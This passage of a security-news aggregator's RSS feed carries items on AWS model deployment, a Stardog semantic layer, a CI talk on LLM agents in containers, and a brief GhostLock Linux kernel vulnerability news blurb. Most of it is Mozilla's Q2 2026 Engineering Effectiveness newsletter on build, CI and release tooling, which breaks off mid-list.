<content:encoded><![CDATA[In this post, you will learn four deployment patterns for taking models that have already been quantized with Unsloth and deploying them on AWS infrastructure. The patterns use Amazon Elastic Compute Cloud (Amazon EC2) for direct instance access, Amazon SageMaker AI inference endpoints for managed serving, and Amazon Elastic Kubernetes Service (Amazon EKS) or Amazon Elastic Container Service (Amazon ECS) when inference needs to fit into an existing container framework. You also learn operational practices for production deployments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Build a semantic layer for agentic AI on AWS with Stardog and Amazon Bedrock AgentCore]]></title>
<description><![CDATA[In this post we show how to build a semantic layer on AWS using Stardog’s Semantic AI Application over Amazon Aurora and Amazon Redshift, and how to run a Strands Agents agent on Amazon Bedrock AgentCore that queries the layer to answer customer 360 questions across both sources without extract, ...]]></description>
<link>https://tsecurity.de/de/3660210/ai-nachrichten/build-a-semantic-layer-for-agentic-ai-on-aws-with-stardog-and-amazon-bedrock-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660210/ai-nachrichten/build-a-semantic-layer-for-agentic-ai-on-aws-with-stardog-and-amazon-bedrock-agentcore/</guid>
<pubDate>Fri, 10 Jul 2026 17:35:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post we show how to build a semantic layer on AWS using Stardog’s Semantic AI Application over Amazon Aurora and Amazon Redshift, and how to run a Strands Agents agent on Amazon Bedrock AgentCore that queries the layer to answer customer 360 questions across both sources without extract, transform, and load (ETL). The same Stardog deployment works behind AWS computes (Amazon Elastic Kubernetes Service (Amazon EKS), Amazon Elastic Container Service (Amazon ECS), and AWS Lambda). We use AgentCore here because it bundles inbound auth, hosting, and tool credentials into one managed service.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rootless containers as self-hosted runners (osc26)]]></title>
<description><![CDATA[Cloud runners and LLM APIs each run their own billing meter. Use both together
and you are billed twice. This talk shows how we use self-hosted openSUSE
containers for large codebases, and how we re-used it to eliminate that overlap.

We walk through our Linux kernel testing pipeline: cache manag...]]></description>
<link>https://tsecurity.de/de/3660208/it-security-video/rootless-containers-as-self-hosted-runners-osc26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660208/it-security-video/rootless-containers-as-self-hosted-runners-osc26/</guid>
<pubDate>Fri, 10 Jul 2026 17:34:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cloud runners and LLM APIs each run their own billing meter. Use both together
and you are billed twice. This talk shows how we use self-hosted openSUSE
containers for large codebases, and how we re-used it to eliminate that overlap.

We walk through our Linux kernel testing pipeline: cache management,
cross-architecture builds, checkpatch per-commit, and more.

Then, we explore how we get the most of LLMs by running them inside the same
container. Using pi.dev as the agent harness, we can swap the model, and tune
the system prompt for one-shot requests. The agent runs after the top-level
pipeline completes, with  CI annotations (warnings and errors), being part of
the prompt. The agent is instructed to assess the issues, and validate its
claims by rebuilding and testing. As the output, it generates git patches, and
summarizes the session into a structured review summary.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Rootless containers as self-hosted runners (osc26)]]></title>
<description><![CDATA[Cloud runners and LLM APIs each run their own billing meter. Use both together
and you are billed twice. This talk shows how we use self-hosted openSUSE
containers for large codebases, and how we re-used it to eliminate that overlap.

We walk through our Linux kernel testing pipeline: cache manag...]]></description>
<link>https://tsecurity.de/de/3660164/it-security-video/rootless-containers-as-self-hosted-runners-osc26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660164/it-security-video/rootless-containers-as-self-hosted-runners-osc26/</guid>
<pubDate>Fri, 10 Jul 2026 17:03:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cloud runners and LLM APIs each run their own billing meter. Use both together
and you are billed twice. This talk shows how we use self-hosted openSUSE
containers for large codebases, and how we re-used it to eliminate that overlap.

We walk through our Linux kernel testing pipeline: cache management,
cross-architecture builds, checkpatch per-commit, and more.

Then, we explore how we get the most of LLMs by running them inside the same
container. Using pi.dev as the agent harness, we can swap the model, and tune
the system prompt for one-shot requests. The agent runs after the top-level
pipeline completes, with  CI annotations (warnings and errors), being part of
the prompt. The agent is instructed to assess the issues, and validate its
claims by rebuilding and testing. As the output, it generates git patches, and
summarizes the session into a structured review summary.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[“GhostLock” flaw survived in the Linux kernel code for 15 years]]></title>
<description><![CDATA[A Linux kernel vulnerability remained hidden in virtually every major Linux distribution for more than 15 years before being fixed earlier this year. The flaw, tracked as CVE-2026-43499 and dubbed GhostLock, can be exploited by an unprivileged local attacker to gain root privileges and escape con...]]></description>
<link>https://tsecurity.de/de/3659655/it-security-nachrichten/ghostlock-flaw-survived-in-the-linux-kernel-code-for-15-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659655/it-security-nachrichten/ghostlock-flaw-survived-in-the-linux-kernel-code-for-15-years/</guid>
<pubDate>Fri, 10 Jul 2026 14:23:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Linux kernel vulnerability remained hidden in virtually every major Linux distribution for more than 15 years before being fixed earlier this year. The flaw, tracked as CVE-2026-43499 and dubbed GhostLock, can be exploited by an unprivileged local attacker to gain root privileges and escape containers. It has earned its discoverers at Nebula Security a …</p>
<p>The post <a href="https://cyberinsider.com/ghostlock-flaw-survived-in-the-linux-kernel-code-for-15-years/">“GhostLock” flaw survived in the Linux kernel code for 15 years</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Engineering Effectiveness Newsletter (Q2 2026 Edition)]]></title>
<description><![CDATA[Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!
Highlights 


Improved mach startup overhead by 30-50%...]]></description>
<link>https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</guid>
<pubDate>Thu, 09 Jul 2026 19:08:33 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!</p>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1" name="p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1"></a>Highlights <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf_2_29x31.jpeg" width="29"></a></div></h3>
<ul>
<li>
<p>Improved <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">mach startup overhead</a> by 30-50%, as well as a 75% improvement for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">mach test on Windows</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">10s faster configure</a> for subsequent runs</p>
</li>
<li>
<p>Moved to weekly scheduled dot releases and <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">faster rollouts</a>, allowing us to deliver fixes and uplifts to users faster and more reliably</p>
</li>
<li>
<p>Created a <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">huge number of dashboards</a> to help developers dig into Mochitest and XPCShell tests</p>
</li>
<li>
<p>Stood up <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">MacOS worker pools</a> that can run multiple tasks at once using VMs, greatly improving our Mac capacity issues</p>
</li>
<li>
<p>Can now <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">navigate to about:pdf</a> in Nightly to open and edit arbitrary PDF files, including the ability to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2047633">set Firefox as your default PDF editor</a> on MacOS</p>
</li>
</ul>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-detailed-project-updates-2" name="p-295620-detailed-project-updates-2"></a>Detailed Project Updates</h3>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3" name="p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3"></a>AI for Development <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="38" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" width="38"></a></div></h4>
<ul>
<li>
<p>Suhaib Mujahid deployed the initial version of <a href="https://docs.google.com/document/d/1cLIuNnhefePsixu8iRiqAn75EcVvgQHw48pUTkhpwok/edit?tab=t.0" rel="noopener nofollow ugc">Hackbot</a>, a platform for building and running AI agents to automate parts of the Firefox development workflow.</p>
</li>
<li>
<p>Evgeny Pavlov ported the “Build Repair Agent” to Hackbot and deployed it for testing. It now monitors Firefox build failures and triggers the agent. When an analysis and a proposed patch are ready developers can be notified by email.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4" name="p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4"></a>Bugzilla <img alt="image" height="16" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/b/e/bea92544acb6ddb5aa665316f3c7411bc860c8db.png" width="16"></h4>
<ul>
<li>
<p>David Lawrence added a new GitHubPullRequests extension that renders a live status panel in the bug modal for any attachment whose content type is text/x-github-pull-request. A new REST endpoint fetches PR metadata (state, author, labels, latest review per reviewer) from the GitHub REST API on demand, and a client-side script populates a table with a “show closed/merged” toggle.[image]</p>
</li>
<li>
<p>Xavier L’Hour improved the user experience for developers, adding shortcuts to buglist.cgi for all, open, or closed bugs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1764713">1764713</a>)</p>
</li>
<li>
<p>Xavier L’Hour added a new shortcut button to the bug page that allows users to quickly move spam bugs to the Invalid Bugs product (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1684509">1684509</a>).</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5" name="p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5"></a>Build System and Mach Environment <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Alex Hochheiden has been moving build system logic out of make to pave the way for a new build system backend (coming soon). See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038789">Bug 2038789</a>.</p>
</li>
<li>
<p>Alex Hochheiden landed a 30%-50% (platform dependent) speedup for mach startup. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">Bug 1775197</a>.</p>
</li>
<li>
<p>Alex Hochheiden sped up subsequent configure runs by ~10s by adding caching to the mach taskgraph toolchain step. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">Bug 2017746</a>.</p>
</li>
<li>
<p>Alex Hochheiden reduced mach test startup overhead on Windows by 75%. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">Bug 2018327</a>.</p>
</li>
<li>
<p>Alex Hochheiden has achieved significant code deduplication and simplification by consolidating the Android Gradle configuration into convention plugins. There were also various Gradle configure-cache improvements. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007013">Bug 2007013</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950099">Bug 1950099</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013417">Bug 2013417</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017752">Bug 2017752</a>, and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017753">Bug 2017753</a>.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6" name="p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6"></a>Firefox-CI <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="26" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4_2_25x26.jpeg" width="25"></a></div></h4>
<ul>
<li>
<p>Julien Cristau <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2050408">added support</a> for interactive tasks (aka one click loaners) on Windows and macOS</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044330">implemented</a> mach try support with Github, being used in mozilla/enterprise-firefox-try and coming to Firefox soon.</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033838">implemented the machinery</a> to start making Gecko CI tasks clone from Github.</p>
</li>
<li>
<p>Ryan Curran <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">brought Firefox CI’s Apple Silicon VM infrastructure into production</a>. Building on the MacOS CI image pipeline established last year, he migrated test suites onto virtual machines and grew the macosx1500-aarch64-vms pool so Taskcluster now routes eligible jobs to VMs alongside physical hardware. This reduces reliance on physical Macs, increases CI capacity, and supports the ongoing migration off of older Intel-based macOS infrastructure</p>
</li>
<li>
<p>Jonathan Moss migrated Firefox CI’s cloud-based Windows testing from Windows 11 24H2 to 25H2, moving the bulk of Firefox’s Windows test coverage to Microsoft’s latest platform and keeping CI aligned with the Windows version most commonly used by Firefox Desktop users</p>
</li>
<li>
<p>Florian Quèze <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">created many dashboards</a> to help dig into Mochitests and XPCShell tests</p>
</li>
<li>
<p>Ryan VanderMeulen landed a set of improvements to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032657">mach try chooser</a>. The update adds an exclude filter, a clearer preview pane with removable job rows, an artifact-builds toggle, and a warning when a selection exceeds task-prioritization thresholds. It also fixes a bug where choosing Firefox for Android jobs would unintentionally clear selections for other platforms.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7" name="p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7"></a>Lint, Static Analysis and Code Coverage <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Valentin Rigal and Bastien Abadie created a Code Review Bot prototype for publication of review comments using various source linters on Github</p>
</li>
<li>
<p>Morgan Rae Reschenberg added support for accessibility review to Code Review Bot</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8" name="p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8"></a>Mozregression <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="39" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" width="39"></a></div></h4>
<ul>
<li>Zeid fixed a bug in mozregression-gui on macOS, where the camera and microphone capture request was getting rejected (released in 7.3.0). Thanks to bug report + tip from Andreas Pehrson.</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9" name="p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9"></a>PDF.js <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" width="29"></a></div></h4>
<ul>
<li>
<p>Calixte <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">added about:pdf to use an entrypoint</a> for opening and editing arbitrary PDF files[image]</p>
</li>
<li>
<p>Calixte added support for playing videos/sounds embedded in PDF files</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10" name="p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10"></a>Phabricator <img alt="image" height="24" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/3/13d60ed2ffbfe1aa32c2cc2ccc5121ba3b8c5a87.png" width="24">, moz-phab, and Lando <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" width="31"></a></div></h4>
<ul>
<li>
<p>Connor Sheehan improved the uplift experience by leveraging Lando to manage the assessment forms, train selection, and automatic application, so conflicts are detected earlier. The number of uplifts via Lando has <a href="https://sql.telemetry.mozilla.org/dashboard/uplift-dashboard?p_date_range=d_last_12_months">out-paced</a> those via Moz-Phab, and sailed through the rise in uplift numbers (likely due to more sec-bugs getting fixed and uplifted).</p>
</li>
<li>
<p>Zeid added support for private GitHub repositories in Lando, allowing security patches to be implemented in a private clone of a repo, and pushed to the public one.</p>
</li>
<li>
<p>Olivier Mehani finalized support for using the new Lando instance for try-pushes. This brings a host of QoL improvements which weren’t backported to the old instance: better UTF-8 support, smarter conflict resolution and improved security and authentication. It is <a href="https://sql.telemetry.mozilla.org/dashboard/new-lando-try-dashboard?p_date_range=d_last_7_days&amp;p_repo_name=try">now processing about 1500 pushes / week</a> (old Lando still processes about 50 / week).</p>
</li>
<li>
<p>Magnolia Liu implemented automatic pushes to Try for uplift requests, for faster feedback in case of issues.</p>
</li>
<li>
<p>Olivier Mehani added a view of a user’s current and recent jobs on <a href="https://lando.moz.tools/" rel="noopener nofollow ugc">the landing page of Lando</a> when authenticated.</p>
</li>
<li>
<p>Zeid identified and fixed the causes of some stability and reliability issues in Lando, which were causing increased downtime during deployments and on an ongoing basis.</p>
</li>
<li>
<p>Olivier Mehani deployed a PoC of reviewer selection on the GitHub pilot, allowing Herald-like mechanisms to GitHub PRs.</p>
</li>
<li>
<p>Olivier Mehani and Connor Sheehan (with Corey Bryant and Daniel Darnell) migrated the COMM project to GitHub <a href="http://github.com/thunderbird/thunderbird-desktop" rel="noopener nofollow ugc">https://github.com/thunderbird/thunderbird-desktop</a>, sharing Firefox’s syncing model.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11" name="p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11"></a>Release Management and Engineering <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731_2_29x29.png" width="29"></a></div></h4>
<ul>
<li>
<p>Donal Meehan drove the Release Management team’s move to a weekly scheduled dot release cadence for Desktop and Android, starting with Firefox 151. This allows us to deliver fixes and approved uplifts to users faster and more predictably. This change is expected to reduce unplanned releases, improve release flexibility, and create a more consistent release rhythm across teams.</p>
</li>
<li>
<p>Dianna Smith drove the update to the Release Management team’s <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">Desktop major release rollout process</a>, starting with Firefox 152. Instead of throttling to 0% on day 2, it will remain at 25% rollout for two days before moving to 100%, unless any issues arise. This should help us collect uptake and stability signals earlier while still allowing time to catch problems before full rollout.</p>
</li>
<li>
<p>Pascal Chevrel completed the update to the dictionaries shipped with Firefox Desktop. The update added eleven new dictionaries, covering Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa, and refreshed nine others. This expanded the number of locales with a built-in spellchecker from 30 to 41 beginning in Firefox 152. Special thanks to Francesco Lodolo, Bryan Olsson, and the localization community for reviewing the patches and helping assess the quality of the dictionaries.</p>
</li>
<li>
<p>Pascal Chevrel delivered a range of improvements to <a href="https://whattrainisitnow.com/" rel="noopener nofollow ugc">WhatTrainIsItNow</a>, including expanded it to cover weekly dot releases and ESR planned dot releases, added new uplift views including a <a href="https://whattrainisitnow.com/release/uplifts/" rel="noopener nofollow ugc">dot-release uplifts page</a> and a <a href="https://whattrainisitnow.com/beta/uplifts/graph/" rel="noopener nofollow ugc">beta uplift graph</a>, and published <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2045812">new APIs</a> that surface train-selection and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044143">uplift guidance inside Lando</a>. He also made performance improvements and a steady stream of fixes across the site.</p>
</li>
<li>
<p>At Pwn2Own 2026, Firefox came through with no successful exploits, thanks to preparation across many teams and individuals. Within Release Management, Ryan VanderMeulen drove pre-event patch readiness and Dianna Smith coordinated the releases during the event, including the 150.0.3 dot release, which mitigated the root cause behind several of the contest entries.</p>
</li>
<li>
<p>Dianna Smith built out release-health monitoring and alerting in Bigeye, giving Release Management a growing set of automated alerts that surface data anomalies earlier to aid in release health and regression detection. To make the capability easy to extend, she also <a href="https://docs.google.com/document/d/11WAYaMt2RQOAZLjYti3VZY6Bcws1fjF5q8hBlYUKgHo/edit?tab=t.0" rel="noopener nofollow ugc">created a guide for other teams</a> to add monitoring and alerts for the areas they know best. Teams that want an earlier signal on their own metrics are encouraged to use the guide and help grow the coverage.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-operations-12" name="p-295620-release-operations-12"></a>Release Operations <img alt=":wrench:" class="emoji" height="20" src="https://emoji.discourse-cdn.com/twitter/wrench.png?v=15" title=":wrench:" width="20"></h4>
<ul>
<li>
<p>Ryan Curran built <a href="https://github.com/mozilla-platform-ops/hangar" rel="noopener nofollow ugc">Hangar</a>, a live dashboard for monitoring Firefox CI’s worker pools. It consolidates fleet data from several systems into one view, giving Release Operations a single place to check fleet health and catch problems such as missing or quarantined workers early.</p>
</li>
<li>
<p>Ryan Curran created the <a href="https://github.com/mozilla-platform-ops/BuildWatch" rel="noopener nofollow ugc">iOS version of BuildWatch</a>, and Andrew Erickson ported it to <a href="https://github.com/mozilla-platform-ops/BuildWatch-Android" rel="noopener nofollow ugc">Android</a>. BuildWatch lets you monitor Firefox CI try pushes from your phone, including live per-platform build status, failure summaries, and one-tap retriggers. It uses only public APIs, so no VPN is required.</p>
</li>
<li>
<p>Andrew Erickson and Mark Cornmesser developed <a href="https://github.com/mozilla-platform-ops/fleetbench" rel="noopener nofollow ugc">Fleetbench</a>, a tool for benchmarking Firefox CI workers. It currently measures CPU and ADB/USB I/O performance, helping Release Operations identify slow or outlier hosts before they skew performance test results such as Speedometer and trigger noisy or false regressions.</p>
</li>
<li>
<p>Andrew Erickson built <a href="https://pool-classifier.relops.mozilla.com/" rel="noopener nofollow ugc">Pool Classifier</a>, a web app for viewing per-worker success rates across Taskcluster worker pools. It classifies newly completed tasks every 15 minutes, giving Release Operations a continuously updated view of worker health and helping surface problematic workers proactively.</p>
</li>
<li>
<p>Andrew Erickson created <a href="https://github.com/mozilla-platform-ops/fleetroll_mvp" rel="noopener nofollow ugc">Fleetroll</a>, a command-line tool Release Operations uses to manage and monitor long-running Linux, macOS, and Windows hardware hosts in Firefox CI Taskcluster. It deploys Puppet branch overrides and Vault secrets, audits what is actually applied, and surfaces each host’s Puppet and Taskcluster state in a live dashboard.</p>
</li>
<li>
<p>Mark Cornmesser built out a set of new worker-metrics dashboards in Yardstick, giving Release Operations clearer real-time visibility into the health of the Firefox CI hardware fleet. These include <a href="https://yardstick.mozilla.org/d/linux-all-status-v1/linux-all-status?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Linux worker</a> status, <a href="https://yardstick.mozilla.org/d/windows-all-metrics-v1/windows-all-metrics?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Windows worker CPU and disk</a> metrics, and a <a href="https://yardstick.mozilla.org/d/windows-pickup-wait-timeline-v1/066c1e0?orgId=1&amp;from=now-24h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all">Windows job pickup and wait</a> timeline, with alerting on key thresholds. The full set lives in the <a href="https://yardstick.mozilla.org/dashboards/f/cffmfl1sfr1moe/fxci-hardware-workers">FXCI Hardware Workers folder</a> in Yardstick.</p>
</li>
<li>
<p>Jonathan Moss expanded cloud cost reporting in Looker, adding <a href="https://mozilla.cloud.looker.com/dashboards/2861?Submission%20Date=30%20day&amp;Cloud%20Provider=" rel="noopener nofollow ugc">Azure support</a> alongside the existing GCP data and a cloud-provider filter on the FXCI task overview dashboard. The team can now break down Firefox CI compute costs by cloud provider, making it easier to track and compare spend across Azure and GCP.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13" name="p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13"></a>Taskcluster <img alt="image" height="25" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/9/a9086272fd26499516b5a852c89ed3f55df11142.png" width="20"></h4>
<ul>
<li>
<p>Yaraslau Kurmyza added Azure fast deprovision <a href="https://github.com/taskcluster/taskcluster/pull/8790" rel="noopener nofollow ugc">taskcluster#8790</a>  and concurrency <a href="https://github.com/taskcluster/taskcluster/issues/8815" rel="noopener nofollow ugc">taskcluster#8815</a> to improve worker scanner performance. This shows ~2x-4x scan time improvements already.</p>
</li>
<li>
<p>Contributor <a href="https://github.com/nitishagar" rel="noopener nofollow ugc">nitishagar</a>  and Yaraslau Kurmyza added patches <a href="https://github.com/taskcluster/taskcluster/pull/8514" rel="noopener nofollow ugc">taskcluster#8514</a>,  <a href="https://github.com/taskcluster/taskcluster/pull/8784" rel="noopener nofollow ugc">taskcluster#8784</a>  to support compression in Taskcluster services API and Yarik worked with Fastly to resolve broken brotli support on the WAF edge side. Now services transmit significantly less data.</p>
</li>
<li>
<p>Yarik added a dedicated service account to log with read only permissions <a href="https://github.com/mozilla/webservices-infra/pull/11197" rel="noopener nofollow ugc">webservices-infra#11197</a>. This allows <a href="https://github.com/taskcluster/tc-logview/pull/4" rel="noopener nofollow ugc">tc-logview</a> to be used safely by untrusted agents inside containers with narrow short-lived access tokens.</p>
</li>
<li>
